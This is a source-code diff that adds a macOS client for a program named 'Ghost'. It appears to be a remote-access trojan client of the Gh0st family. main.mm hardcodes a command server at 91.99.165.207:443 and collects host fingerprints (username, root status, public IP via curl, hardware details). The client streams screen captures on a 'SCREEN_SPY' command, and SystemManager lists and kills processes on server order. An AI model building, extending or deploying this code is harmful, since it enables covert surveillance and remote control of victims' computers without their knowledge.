if (AXUIElementCopyAttributeValue(element, CFSTR("AXOrientation"), &orientRef) == kAXErrorSuccess && orientRef) {
|
||||
NSString* orient = (__bridge NSString*)orientRef;
|
||||
if ([orient isEqualToString:@"AXHorizontalOrientation"]) {
|
||||
index = 11; // IDC_SIZENS (vertical resize)
|
||||
} else {
|
||||
index = 13; // IDC_SIZEWE (horizontal resize)
|
||||
}
|
||||
CFRelease(orientRef);
|
||||
} else {
|
||||
index = 13; // IDC_SIZEWE default for splitters
|
||||
}
|
||||
} else if ([role isEqualToString:NSAccessibilityGrowAreaRole]) {
|
||||
index = 12; // IDC_SIZENWSE for resize corners
|
||||
}
|
||||
|
||||
CFRelease(roleRef);
|
||||
}
|
||||
CFRelease(element);
|
||||
}
|
||||
|
||||
// Cache the result
|
||||
cachedIndex = index;
|
||||
return index;
|
||||
}
|
||||
|
||||
void ScreenHandler::captureLoop()
|
||||
{
|
||||
NSLog(@"ScreenHandler CaptureLoop started (%dx%d)", m_width, m_height);
|
||||
|
||||
uint8_t currentAlgo = m_algorithm.load();
|
||||
|
||||
// Always send raw first frame (TOKEN_FIRSTSCREEN) to initialize server display
|
||||
// This matches Windows client behavior: first frame is always raw bitmap,
|
||||
// even in H264 mode. Server needs TOKEN_FIRSTSCREEN to set m_bIsFirst = FALSE.
|
||||
sendFirstScreen();
|
||||
|
||||
// Small delay to ensure first frame is processed before H264 stream starts
|
||||
usleep(50000); // 50ms, same as Windows client
|
||||
|
||||
while (m_running) {
|
||||
uint64_t start = getTickMs();
|
||||
|
||||
uint8_t algo = m_algorithm.load();
|
||||
|
||||
// Check if algorithm changed
|
||||
if (algo != currentAlgo) {
|
||||
NSLog(@"Algorithm changed: %d -> %d", currentAlgo, algo);
|
||||
currentAlgo = algo;
|
||||
|
||||
// If switching to/from H264, reset encoder
|
||||
if (algo == ALGORITHM_H264) {
|
||||
// Starting H264 - will be initialized in sendH264Frame
|
||||
sendH264Frame(true); // First H264 frame is keyframe
|
||||
} else if (m_h264Encoder) {
|
||||
// Switching away from H264 - close encoder
|
||||
m_h264Encoder->close();
|
||||
m_h264Encoder.reset();
|
||||
sendFirstScreen(); // Send full frame for DIFF modes
|
||||
}
|
||||
} else {
|
||||
// Normal frame
|
||||
if (algo == ALGORITHM_H264) {
|
||||
sendH264Frame(false);
|
||||
} else {
|
||||
sendDiffFrame();
|
||||
}
|
||||
}
|
||||
|
||||
int fps = m_maxFPS.load();
|
||||
if (fps <= 0) fps = 10;
|
||||
int sleepMs = 1000 / fps;
|
||||
|
||||
int elapsed = (int)(getTickMs() - start);
|
||||
int wait = sleepMs - elapsed;
|
||||
if (wait > 0) {
|
||||
usleep(wait * 1000);
|
||||
}
|
||||
}
|
||||
|
||||
NSLog(@"ScreenHandler CaptureLoop stopped");
|
||||
}
|
||||
40
macos/SystemManager.h
Normal file
40
macos/SystemManager.h
Normal file
@@ -0,0 +1,40 @@
|
||||
#pragma once
|
||||
|
||||
#include <cstdint>
|
||||
#include <vector>
|
||||
#include <string>
|
||||
|
||||
// Forward declaration
|
||||
class IOCPClient;
|
||||
|
||||
class SystemManager {
|
||||
public:
|
||||
SystemManager(IOCPClient* client, uint64_t clientID);
|
||||
~SystemManager();
|
||||
|
||||
// Handle commands from server
|
||||
void onReceive(const uint8_t* data, size_t size);
|
||||
|
||||
private:
|
||||
// Send process list to server
|
||||
void sendProcessList();
|
||||
|
||||
// Kill processes by PID
|
||||
void killProcesses(const uint8_t* data, size_t size);
|
||||
|
||||
// Send window list (limited on macOS without accessibility)
|
||||
void sendWindowsList();
|
||||
|
||||
// Get process name by PID
|
||||
static std::string getProcessName(pid_t pid);
|
||||
|
||||
// Get process executable path by PID
|
||||
static std::string getProcessPath(pid_t pid);
|
||||
|
||||
// Get all running PIDs
|
||||
static std::vector<pid_t> getAllPids();
|
||||
|
||||
private:
|
||||
IOCPClient* m_client;
|
||||
uint64_t m_clientID;
|
||||
};
|
||||
201
macos/SystemManager.mm
Normal file
201
macos/SystemManager.mm
Normal file
@@ -0,0 +1,201 @@
|
||||
#import "SystemManager.h"
|
||||
#import "../client/IOCPClient.h"
|
||||
#import <Cocoa/Cocoa.h>
|
||||
#import <sys/sysctl.h>
|
||||
#import <libproc.h>
|
||||
#import <signal.h>
|
||||
#import <unistd.h>
|
||||
|
||||
SystemManager::SystemManager(IOCPClient* client, uint64_t clientID)
|
||||
: m_client(client)
|
||||
, m_clientID(clientID)
|
||||
{
|
||||
// Send initial process list on connection
|
||||
sendProcessList();
|
||||
}
|
||||
|
||||
SystemManager::~SystemManager()
|
||||
{
|
||||
}
|
||||
|
||||
void SystemManager::onReceive(const uint8_t* data, size_t size)
|
||||
{
|
||||
if (!data || size == 0) return;
|
||||
|
||||
switch (data[0]) {
|
||||
case COMMAND_PSLIST:
|
||||
sendProcessList();
|
||||
break;
|
||||
|
||||
case COMMAND_KILLPROCESS:
|
||||
if (size > 1) {
|
||||
killProcesses(data + 1, size - 1);
|
||||
// Refresh list after kill
|
||||
usleep(100000); // 100ms wait
|
||||
sendProcessList();
|
||||
}
|
||||
break;
|
||||
|
||||
case COMMAND_WSLIST:
|
||||
sendWindowsList();
|
||||
break;
|
||||
|
||||
default:
|
||||
NSLog(@"SystemManager: Unknown command: %d", (int)data[0]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
std::vector<pid_t> SystemManager::getAllPids()
|
||||
{
|
||||
std::vector<pid_t> pids;
|
||||
|
||||
// Get number of processes
|
||||
int count = proc_listpids(PROC_ALL_PIDS, 0, NULL, 0);
|
||||
if (count <= 0) return pids;
|
||||
|
||||
// Allocate buffer for PIDs
|
||||
std::vector<pid_t> buffer(count * 2); // Extra space for new processes
|
||||
count = proc_listpids(PROC_ALL_PIDS, 0, buffer.data(), (int)(buffer.size() * sizeof(pid_t)));
|
||||
if (count <= 0) return pids;
|
||||
|
||||
int numPids = count / sizeof(pid_t);
|
||||
for (int i = 0; i < numPids; i++) {
|
||||
if (buffer[i] > 0) {
|
||||
pids.push_back(buffer[i]);
|
||||
}
|
||||
}
|
||||
|
||||
return pids;
|
||||
}
|
||||
|
||||
std::string SystemManager::getProcessName(pid_t pid)
|
||||
{
|
||||
char name[PROC_PIDPATHINFO_MAXSIZE];
|
||||
memset(name, 0, sizeof(name));
|
||||
|
||||
struct proc_bsdinfo info;
|
||||
if (proc_pidinfo(pid, PROC_PIDTBSDINFO, 0, &info, sizeof(info)) > 0) {
|
||||
return std::string(info.pbi_name);
|
||||
}
|
||||
|
||||
return "";
|
||||
}
|
||||
|
||||
std::string SystemManager::getProcessPath(pid_t pid)
|
||||
{
|
||||
char path[PROC_PIDPATHINFO_MAXSIZE];
|
||||
memset(path, 0, sizeof(path));
|
||||
|
||||
if (proc_pidpath(pid, path, sizeof(path)) > 0) {
|
||||
return std::string(path);
|
||||
}
|
||||
|
||||
return "";
|
||||
}
|
||||
|
||||
void SystemManager::sendProcessList()
|
||||
{
|
||||
if (!m_client) return;
|
||||
|
||||
std::vector<uint8_t> buf;
|
||||
buf.reserve(64 * 1024);
|
||||
|
||||
// Token header
|
||||
buf.push_back(TOKEN_PSLIST);
|
||||
|
||||
// Architecture string
|
||||
#if defined(__arm64__) || defined(__aarch64__)
|
||||
const char* arch = "arm64";
|
||||
#else
|
||||
const char* arch = "x64";
|
||||
#endif
|
||||
|
||||
std::vector<pid_t> pids = getAllPids();
|
||||
|
||||
for (pid_t pid : pids) {
|
||||
if (pid <= 0) continue;
|
||||
|
||||
std::string name = getProcessName(pid);
|
||||
if (name.empty()) continue;
|
||||
|
||||
std::string path = getProcessPath(pid);
|
||||
if (path.empty()) {
|
||||
path = "[" + name + "]";
|
||||
}
|
||||
|
||||
// Format: "processname:arch"
|
||||
std::string exeFile = name + ":" + arch;
|
||||
|
||||
// Write PID (4 bytes, DWORD)
|
||||
uint32_t dwPid = (uint32_t)pid;
|
||||
const uint8_t* p = (const uint8_t*)&dwPid;
|
||||
buf.insert(buf.end(), p, p + sizeof(uint32_t));
|
||||
|
||||
// Write exeFile (null-terminated)
|
||||
buf.insert(buf.end(), exeFile.begin(), exeFile.end());
|
||||
buf.push_back(0);
|
||||
|
||||
// Write fullPath (null-terminated)
|
||||
buf.insert(buf.end(), path.begin(), path.end());
|
||||
buf.push_back(0);
|
||||
}
|
||||
|
||||
m_client->Send2Server((char*)buf.data(), buf.size());
|
||||
NSLog(@"SystemManager SendProcessList: %zu bytes, %zu processes",
|
||||
buf.size(), pids.size());
|
||||
}
|
||||
|
||||
void SystemManager::killProcesses(const uint8_t* data, size_t size)
|
||||
{
|
||||
// Each PID is 4 bytes (DWORD)
|
||||
for (size_t i = 0; i + sizeof(uint32_t) <= size; i += sizeof(uint32_t)) {
|
||||
uint32_t dwPid = *(uint32_t*)(data + i);
|
||||
pid_t pid = (pid_t)dwPid;
|
||||
|
||||
// Don't allow killing kernel/launchd
|
||||
if (pid <= 1) continue;
|
||||
|
||||
// Don't allow killing ourselves
|
||||
if (pid == getpid()) continue;
|
||||
|
||||
int ret = kill(pid, SIGKILL);
|
||||
NSLog(@"SystemManager kill(%d, SIGKILL) = %d", (int)pid, ret);
|
||||
}
|
||||
}
|
||||
|
||||
void SystemManager::sendWindowsList()
|
||||
{
|
||||
if (!m_client) return;
|
||||
|
||||
std::vector<uint8_t> buf;
|
||||
buf.push_back(TOKEN_WSLIST);
|
||||
|
||||
// Get list of running applications
|
||||
NSArray<NSRunningApplication*>* apps = [[NSWorkspace sharedWorkspace] runningApplications];
|
||||
|
||||
for (NSRunningApplication* app in apps) {
|
||||
// Only include apps with windows
|
||||
if (app.activationPolicy != NSApplicationActivationPolicyRegular) {
|
||||
continue;
|
||||
}
|
||||
|
||||
NSString* name = app.localizedName;
|
||||
if (!name) continue;
|
||||
|
||||
pid_t pid = app.processIdentifier;
|
||||
|
||||
// Write window handle (use PID as pseudo-handle)
|
||||
uint64_t hwnd = (uint64_t)pid;
|
||||
const uint8_t* p = (const uint8_t*)&hwnd;
|
||||
buf.insert(buf.end(), p, p + sizeof(uint64_t));
|
||||
|
||||
// Write window title (null-terminated)
|
||||
const char* utf8Name = [name UTF8String];
|
||||
buf.insert(buf.end(), utf8Name, utf8Name + strlen(utf8Name));
|
||||
buf.push_back(0);
|
||||
}
|
||||
|
||||
m_client->Send2Server((char*)buf.data(), buf.size());
|
||||
NSLog(@"SystemManager SendWindowsList: %zu bytes", buf.size());
|
||||
}
|
||||
47
macos/build.sh
Normal file
47
macos/build.sh
Normal file
@@ -0,0 +1,47 @@
|
||||
#!/bin/bash
|
||||
|
||||
# macOS Ghost Client Build Script
|
||||
# Usage: ./build.sh
|
||||
|
||||
set -e
|
||||
|
||||
echo "=== macOS Ghost Client Build ==="
|
||||
echo ""
|
||||
|
||||
# Check for Xcode Command Line Tools
|
||||
if ! command -v clang &> /dev/null; then
|
||||
echo "Error: Xcode Command Line Tools not installed"
|
||||
echo "Run: xcode-select --install"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Check for CMake
|
||||
if ! command -v cmake &> /dev/null; then
|
||||
echo "Error: CMake not installed"
|
||||
echo "Install with: brew install cmake"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Create build directory
|
||||
mkdir -p build
|
||||
cd build
|
||||
|
||||
# Configure
|
||||
echo "Configuring..."
|
||||
cmake .. -DCMAKE_BUILD_TYPE=Release
|
||||
|
||||
# Build
|
||||
echo ""
|
||||
echo "Building..."
|
||||
cmake --build . --config Release -j$(sysctl -n hw.ncpu)
|
||||
|
||||
# Done
|
||||
echo ""
|
||||
echo "=== Build Complete ==="
|
||||
echo "Executable: build/bin/ghost"
|
||||
echo ""
|
||||
echo "To run:"
|
||||
echo " ./bin/ghost [server_ip] [port]"
|
||||
echo ""
|
||||
echo "Example:"
|
||||
echo " ./bin/ghost 192.168.0.55 6543"
|
||||
BIN
macos/lib/libzstd.a
Normal file
BIN
macos/lib/libzstd.a
Normal file
Binary file not shown.
555
macos/main.mm
Normal file
555
macos/main.mm
Normal file
@@ -0,0 +1,555 @@
|
||||
#import <Cocoa/Cocoa.h>
|
||||
#import <sys/sysctl.h>
|
||||
#import <mach/mach.h>
|
||||
#import <mach-o/dyld.h>
|
||||
#import <pwd.h>
|
||||
#import <signal.h>
|
||||
#import <unistd.h>
|
||||
#import <IOKit/IOKitLib.h>
|
||||
#import <fstream>
|
||||
#import <thread>
|
||||
#import <atomic>
|
||||
#import <memory>
|
||||
#import <string>
|
||||
|
||||
#import "../client/IOCPClient.h"
|
||||
#define XXH_INLINE_ALL
|
||||
#include "../common/xxhash.h"
|
||||
#import "Permissions.h"
|
||||
#import "ScreenHandler.h"
|
||||
#import "InputHandler.h"
|
||||
#import "SystemManager.h"
|
||||
|
||||
// Global state
|
||||
static std::atomic<bool> g_running(true);
|
||||
|
||||
// Client ID (calculated from system info, used by ScreenHandler)
|
||||
uint64_t g_myClientID = 0;
|
||||
|
||||
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
|
||||
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_MACOS };
|
||||
|
||||
State g_bExit = S_CLIENT_NORMAL;
|
||||
|
||||
// ============== System Information Functions ==============
|
||||
|
||||
// Get macOS version string (e.g., "macOS 14.0 Sonoma")
|
||||
static std::string getMacOSVersion()
|
||||
{
|
||||
NSOperatingSystemVersion version = [[NSProcessInfo processInfo] operatingSystemVersion];
|
||||
NSString* versionString = [NSString stringWithFormat:@"macOS %ld.%ld.%ld",
|
||||
(long)version.majorVersion,
|
||||
(long)version.minorVersion,
|
||||
(long)version.patchVersion];
|
||||
return std::string([versionString UTF8String]);
|
||||
}
|
||||
|
||||
// Get hostname
|
||||
static std::string getHostname()
|
||||
{
|
||||
char hostname[256] = {};
|
||||
gethostname(hostname, sizeof(hostname));
|
||||
return std::string(hostname);
|
||||
}
|
||||
|
||||
// Get CPU model and frequency
|
||||
static std::string getCPUInfo()
|
||||
{
|
||||
char buf[256] = {};
|
||||
size_t size = sizeof(buf);
|
||||
if (sysctlbyname("machdep.cpu.brand_string", buf, &size, NULL, 0) == 0) {
|
||||
return std::string(buf);
|
||||
}
|
||||
return "Unknown CPU";
|
||||
}
|
||||
|
||||
// Get CPU frequency in MHz
|
||||
static int getCPUFrequencyMHz()
|
||||
{
|
||||
uint64_t freq = 0;
|
||||
size_t size = sizeof(freq);
|
||||
if (sysctlbyname("hw.cpufrequency_max", &freq, &size, NULL, 0) == 0) {
|
||||
return (int)(freq / 1000000);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Get number of CPU cores
|
||||
static int getCPUCores()
|
||||
{
|
||||
int cores = 0;
|
||||
size_t size = sizeof(cores);
|
||||
if (sysctlbyname("hw.ncpu", &cores, &size, NULL, 0) == 0) {
|
||||
return cores;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Get total physical memory in GB
|
||||
static double getMemoryGB()
|
||||
{
|
||||
int64_t memSize = 0;
|
||||
size_t size = sizeof(memSize);
|
||||
if (sysctlbyname("hw.memsize", &memSize, &size, NULL, 0) == 0) {
|
||||
return (double)memSize / (1024.0 * 1024.0 * 1024.0);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Get current username
|
||||
static std::string getUsername()
|
||||
{
|
||||
struct passwd* pw = getpwuid(getuid());
|
||||
if (pw && pw->pw_name) {
|
||||
return std::string(pw->pw_name);
|
||||
}
|
||||
const char* user = getenv("USER");
|
||||
return user ? std::string(user) : "unknown";
|
||||
}
|
||||
|
||||
// Get screen resolution
|
||||
static std::string getScreenResolution()
|
||||
{
|
||||
NSScreen* mainScreen = [NSScreen mainScreen];
|
||||
if (mainScreen) {
|
||||
NSRect frame = [mainScreen frame];
|
||||
return [NSString stringWithFormat:@"1:%dx%d",
|
||||
(int)frame.size.width, (int)frame.size.height].UTF8String;
|
||||
}
|
||||
return "0:0x0";
|
||||
}
|
||||
|
||||
// Get executable path
|
||||
static std::string getExecutablePath()
|
||||
{
|
||||
char path[PATH_MAX];
|
||||
uint32_t size = sizeof(path);
|
||||
if (_NSGetExecutablePath(path, &size) == 0) {
|
||||
return std::string(path);
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
// Get current time string (Beijing time, UTC+8)
|
||||
static std::string getTimeString()
|
||||
{
|
||||
NSDateFormatter* formatter = [[NSDateFormatter alloc] init];
|
||||
[formatter setDateFormat:@"yyyy-MM-dd HH:mm:ss"];
|
||||
[formatter setTimeZone:[NSTimeZone timeZoneForSecondsFromGMT:8*3600]];
|
||||
NSString* dateString = [formatter stringFromDate:[NSDate date]];
|
||||
return std::string([dateString UTF8String]);
|
||||
}
|
||||
|
||||
// Get active application name
|
||||
static std::string getActiveApp()
|
||||
{
|
||||
NSRunningApplication* app = [[NSWorkspace sharedWorkspace] frontmostApplication];
|
||||
if (app) {
|
||||
NSString* name = [app localizedName];
|
||||
if (name) {
|
||||
return std::string([name UTF8String]);
|
||||
}
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
// ============== Check if camera exists ==============
|
||||
|
||||
static bool hasCameraDevice()
|
||||
{
|
||||
// Most MacBooks have built-in FaceTime camera
|
||||
// Check model identifier to determine if it's a MacBook
|
||||
char model[256] = {};
|
||||
size_t size = sizeof(model);
|
||||
if (sysctlbyname("hw.model", model, &size, NULL, 0) == 0) {
|
||||
std::string modelStr(model);
|
||||
// MacBooks (Air/Pro) always have cameras
|
||||
if (modelStr.find("MacBook") != std::string::npos) {
|
||||
return true;
|
||||
}
|
||||
// iMac also has camera
|
||||
if (modelStr.find("iMac") != std::string::npos) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
// Mac Mini and Mac Pro typically don't have built-in cameras
|
||||
return false;
|
||||
}
|
||||
|
||||
// ============== Public IP ==============
|
||||
|
||||
// Execute command and return output
|
||||
static std::string execCmd(const std::string& cmd)
|
||||
{
|
||||
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd.c_str(), "r"), pclose);
|
||||
if (!pipe) return "";
|
||||
char buf[4096];
|
||||
std::string result;
|
||||
while (fgets(buf, sizeof(buf), pipe.get())) {
|
||||
result += buf;
|
||||
}
|
||||
// Trim trailing whitespace
|
||||
while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' '))
|
||||
result.pop_back();
|
||||
return result;
|
||||
}
|
||||
|
||||
// HTTP GET using curl (macOS has curl built-in)
|
||||
static std::string httpGet(const std::string& url, int timeoutSec = 5)
|
||||
{
|
||||
std::string t = std::to_string(timeoutSec);
|
||||
return execCmd("curl -s --max-time " + t + " \"" + url + "\" 2>/dev/null");
|
||||
}
|
||||
|
||||
// Get public IP (try multiple sources)
|
||||
static std::string getPublicIP()
|
||||
{
|
||||
static const char* urls[] = {
|
||||
"https://checkip.amazonaws.com",
|
||||
"https://api.ipify.org",
|
||||
"https://ipinfo.io/ip",
|
||||
"https://icanhazip.com",
|
||||
"https://ifconfig.me/ip",
|
||||
};
|
||||
for (auto& url : urls) {
|
||||
std::string ip = httpGet(url, 3);
|
||||
// Validate: non-empty, contains dot, reasonable length
|
||||
if (!ip.empty() && ip.find('.') != std::string::npos && ip.size() <= 45) {
|
||||
NSLog(@"getPublicIP: %s (from %s)", ip.c_str(), url);
|
||||
return ip;
|
||||
}
|
||||
}
|
||||
NSLog(@"getPublicIP: all sources failed");
|
||||
return "";
|
||||
}
|
||||
|
||||
// ============== Install Time (persistent storage) ==============
|
||||
|
||||
static std::string getInstallTime()
|
||||
{
|
||||
@autoreleasepool {
|
||||
NSUserDefaults* defaults = [NSUserDefaults standardUserDefaults];
|
||||
NSString* installTime = [defaults stringForKey:@"ghost_install_time"];
|
||||
|
||||
if (installTime == nil || [installTime length] == 0) {
|
||||
// First run - record current time as install time
|
||||
std::string currentTime = getTimeString();
|
||||
installTime = [NSString stringWithUTF8String:currentTime.c_str()];
|
||||
[defaults setObject:installTime forKey:@"ghost_install_time"];
|
||||
[defaults synchronize];
|
||||
NSLog(@"First run - recorded install time: %@", installTime);
|
||||
}
|
||||
|
||||
return std::string([installTime UTF8String]);
|
||||
}
|
||||
}
|
||||
|
||||
// ============== Fill LOGIN_INFOR ==============
|
||||
|
||||
static void fillLoginInfo(LOGIN_INFOR& info)
|
||||
{
|
||||
// Token is set in constructor
|
||||
info.bToken = TOKEN_LOGIN;
|
||||
|
||||
// OS Version
|
||||
std::string osVer = getMacOSVersion();
|
||||
strncpy(info.OsVerInfoEx, osVer.c_str(), sizeof(info.OsVerInfoEx) - 1);
|
||||
|
||||
// CPU MHz
|
||||
info.dwCPUMHz = getCPUFrequencyMHz();
|
||||
|
||||
// PC Name (hostname)
|
||||
std::string hostname = getHostname();
|
||||
strncpy(info.szPCName, hostname.c_str(), sizeof(info.szPCName) - 1);
|
||||
|
||||
// Webcam
|
||||
info.bWebCamIsExist = hasCameraDevice() ? 1 : 0;
|
||||
|
||||
// Start time (current session start)
|
||||
std::string startTime = getTimeString();
|
||||
strncpy(info.szStartTime, startTime.c_str(), sizeof(info.szStartTime) - 1);
|
||||
|
||||
// Reserved fields (pipe-separated, must match Windows client order)
|
||||
// Order: Type|Bits|Cores|Memory|Path|?|InstallTime|?|ProgBits|Auth|Location|IP|Version|User|IsAdmin|Resolution|ClientID
|
||||
|
||||
// 1. Client type (use GetClientType for consistency with Windows client)
|
||||
info.AddReserved(GetClientType(CLIENT_TYPE_MACOS));
|
||||
|
||||
// 2. System bits (OS bits, always 64 on modern macOS)
|
||||
info.AddReserved(64);
|
||||
|
||||
// 3. CPU cores
|
||||
info.AddReserved(getCPUCores());
|
||||
|
||||
// 4. Memory (GB)
|
||||
info.AddReserved(getMemoryGB());
|
||||
|
||||
// 5. File path (executable path)
|
||||
std::string exePath = getExecutablePath();
|
||||
info.AddReserved(exePath.c_str());
|
||||
|
||||
// 6. Placeholder
|
||||
info.AddReserved("?");
|
||||
|
||||
// 7. Install time (first run time, persistent)
|
||||
std::string installTime = getInstallTime();
|
||||
info.AddReserved(installTime.c_str());
|
||||
|
||||
// 8. Active window / Start time (initial value is start time, updated via heartbeat)
|
||||
info.AddReserved(startTime.c_str());
|
||||
|
||||
// 9. Program bits (always 64 on modern macOS)
|
||||
info.AddReserved(64);
|
||||
|
||||
// 10. Authorization info (placeholder)
|
||||
info.AddReserved("");
|
||||
|
||||
// 11. Location (placeholder, could add GeoIP later)
|
||||
info.AddReserved("");
|
||||
|
||||
// 12. Public IP
|
||||
std::string pubIP = getPublicIP();
|
||||
info.AddReserved(pubIP.c_str());
|
||||
|
||||
// 13. Version
|
||||
info.AddReserved("1.0.0");
|
||||
|
||||
// 14. Current username
|
||||
std::string username = getUsername();
|
||||
info.AddReserved(username.c_str());
|
||||
|
||||
// 15. Is running as root
|
||||
info.AddReserved(getuid() == 0 ? 1 : 0);
|
||||
|
||||
// 16. Screen resolution (format: count:widthxheight)
|
||||
std::string resolution = getScreenResolution();
|
||||
info.AddReserved(resolution.c_str());
|
||||
|
||||
// 17. Client ID (calculated from system info, same algorithm as server)
|
||||
// Format: pubIP|hostname|os|cpu|path
|
||||
char cpuStr[32];
|
||||
snprintf(cpuStr, sizeof(cpuStr), "%uMHz", info.dwCPUMHz);
|
||||
std::string idInput = (pubIP.empty() ? "?" : pubIP) + "|" +
|
||||
hostname + "|" +
|
||||
osVer + "|" +
|
||||
cpuStr + "|" +
|
||||
exePath;
|
||||
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
|
||||
info.AddReserved(std::to_string(g_myClientID).c_str());
|
||||
|
||||
NSLog(@"LOGIN_INFOR filled: OS=%s, Host=%s, CPU=%dMHz, PubIP=%s, ClientID=%llu",
|
||||
osVer.c_str(), hostname.c_str(), info.dwCPUMHz, pubIP.c_str(), g_myClientID);
|
||||
}
|
||||
|
||||
// ============== Signal Handling ==============
|
||||
|
||||
static void signalHandler(int sig)
|
||||
{
|
||||
NSLog(@"Received signal %d, shutting down...", sig);
|
||||
g_running = false;
|
||||
}
|
||||
|
||||
static void setupSignals()
|
||||
{
|
||||
signal(SIGTERM, signalHandler);
|
||||
signal(SIGINT, signalHandler);
|
||||
signal(SIGHUP, SIG_IGN);
|
||||
signal(SIGPIPE, SIG_IGN);
|
||||
}
|
||||
|
||||
// ============== Main Entry Point ==============
|
||||
|
||||
// RTT 估算器(参考 RFC 6298 算法,与 Windows 端 KernelManager 一致)
|
||||
struct RttEstimator {
|
||||
double srtt = 0.0; // 平滑 RTT (秒)
|
||||
double rttvar = 0.0; // RTT 波动 (秒)
|
||||
double rto = 0.0; // 超时时间 (秒)
|
||||
bool initialized = false;
|
||||
|
||||
void update_from_sample(double rtt_ms)
|
||||
{
|
||||
// 过滤异常值:RTT应在合理范围内 (0, 30000] 毫秒
|
||||
if (rtt_ms <= 0 || rtt_ms > 30000)
|
||||
return;
|
||||
|
||||
const double alpha = 1.0 / 8;
|
||||
const double beta = 1.0 / 4;
|
||||
double rtt = rtt_ms / 1000.0;
|
||||
|
||||
if (!initialized) {
|
||||
srtt = rtt;
|
||||
rttvar = rtt / 2.0;
|
||||
rto = srtt + 4.0 * rttvar;
|
||||
initialized = true;
|
||||
} else {
|
||||
rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
|
||||
srtt = (1.0 - alpha) * srtt + alpha * rtt;
|
||||
rto = srtt + 4.0 * rttvar;
|
||||
}
|
||||
|
||||
// 限制最小 RTO(RFC 6298 推荐 1 秒)
|
||||
if (rto < 1.0) rto = 1.0;
|
||||
}
|
||||
};
|
||||
|
||||
RttEstimator g_rttEstimator;
|
||||
int g_heartbeatInterval = 5; // 心跳间隔(秒),默认 5 秒,后续可由服务端动态调整
|
||||
|
||||
void* ScreenworkingThread(void* param)
|
||||
{
|
||||
try {
|
||||
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
||||
void* clientAddr = ClientObject.get();
|
||||
Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr);
|
||||
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||||
std::unique_ptr<ScreenHandler> handler(new ScreenHandler(ClientObject.get()));
|
||||
if (!handler->init()) {
|
||||
Mprintf("*** ScreenHandler initialization failed (no permission?) ***\n");
|
||||
return NULL;
|
||||
}
|
||||
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
||||
// 连接后立即发送完整的 BITMAPINFO 包(与 Windows 端 ScreenManager 流程一致)
|
||||
handler->sendBitmapInfo();
|
||||
Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr);
|
||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
||||
Sleep(1000);
|
||||
}
|
||||
Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr);
|
||||
} catch (const std::exception& e) {
|
||||
Mprintf("*** ScreenworkingThread exception: %s ***\n", e.what());
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
if (szBuffer == nullptr || ulLength == 0)
|
||||
return TRUE;
|
||||
|
||||
if (szBuffer[0] == COMMAND_BYE) {
|
||||
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
g_running = false; // Stop main loop to prevent reconnection
|
||||
} else if (szBuffer[0] == COMMAND_SHELL) {
|
||||
Mprintf("** [%p] Received 'SHELL' command ***\n", user);
|
||||
} else if (szBuffer[0] == COMMAND_SCREEN_SPY) {
|
||||
std::thread(ScreenworkingThread, nullptr).detach();
|
||||
Mprintf("** [%p] Received 'SCREEN_SPY' command ***\n", user);
|
||||
} else if (szBuffer[0] == COMMAND_SYSTEM) {
|
||||
Mprintf("** [%p] Received 'SYSTEM' command ***\n", user);
|
||||
} else if (szBuffer[0] == COMMAND_LIST_DRIVE) {
|
||||
Mprintf("** [%p] Received 'LIST_DRIVE' command ***\n", user);
|
||||
} else if (szBuffer[0] == CMD_HEARTBEAT_ACK) {
|
||||
if (ulLength >= 1 + sizeof(HeartbeatACK)) {
|
||||
HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1);
|
||||
uint64_t now = GetUnixMs();
|
||||
double rtt_ms = (double)(now - ack->Time);
|
||||
g_rttEstimator.update_from_sample(rtt_ms);
|
||||
// Log at most once per minute
|
||||
static uint64_t lastLogTime = 0;
|
||||
if (now - lastLogTime >= 60000) {
|
||||
lastLogTime = now;
|
||||
Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n",
|
||||
user, rtt_ms, g_rttEstimator.srtt * 1000);
|
||||
}
|
||||
}
|
||||
} else if (szBuffer[0] == CMD_MASTERSETTING) {
|
||||
int settingSize = ulLength - 1;
|
||||
if (settingSize >= (int)sizeof(int)) { // 至少包含 ReportInterval
|
||||
MasterSettings settings = {};
|
||||
memcpy(&settings, szBuffer + 1, settingSize < (int)sizeof(MasterSettings) ? settingSize : sizeof(MasterSettings));
|
||||
if (settings.ReportInterval > 0)
|
||||
g_heartbeatInterval = settings.ReportInterval;
|
||||
Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
|
||||
}
|
||||
} else if (szBuffer[0] == COMMAND_NEXT) {
|
||||
Mprintf("** [%p] Received 'NEXT' command ***\n", user);
|
||||
} else {
|
||||
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
int main(int argc, const char* argv[])
|
||||
